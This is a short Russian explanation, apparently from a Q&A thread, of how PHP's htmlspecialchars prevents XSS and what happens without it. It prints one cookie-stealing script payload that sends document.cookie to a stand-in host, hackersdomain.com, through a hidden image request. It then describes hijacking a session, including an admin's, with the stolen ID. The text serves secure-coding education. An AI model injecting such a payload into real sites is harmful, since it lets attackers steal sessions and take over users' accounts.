Итак, предотвратить сайт от атаки XSS очень просто, вам просто нужно использовать функцию htmlspecialchars, и все хорошо.
правый. Используйте его где угодно, когда вы собираетесь снова отобразить контролируемый пользователем ввод . Это касается всех частей HTTP-запроса: заголовков, тела и параметров.
Но если разработчик забыл его использовать, что может сделать злоумышленник / хакер?
Он / она может вставить какой-нибудь вредоносный HTML / скрипт. Например. следующее в некоторых сообщениях / комментариях на веб-странице:
<script>document.write('<img src="http://hackersdomain.com/fake.gif?' + escape(document.cookie) + '" width=0 height=0>');</script>
Выше будет запрашивать изображение из почтового домена вместе с файлом cookie документа в качестве строки запроса.
Он может получить ваш session_id, верно? И вот вопрос. Что он может с этим сделать?
Идентификатор сеанса хранится в файле cookie. Как только хакер получает уведомление о том, что изображение было запрошено с помощью файла cookie в строке запроса, все, что ему нужно сделать, - это просто отредактировать файл cookie браузера, включив в него тот же идентификатор сеанса, чтобы войти в систему в качестве исходного пользователя. Это, очевидно, очень опасно, если исходный пользователь является администратором сайта.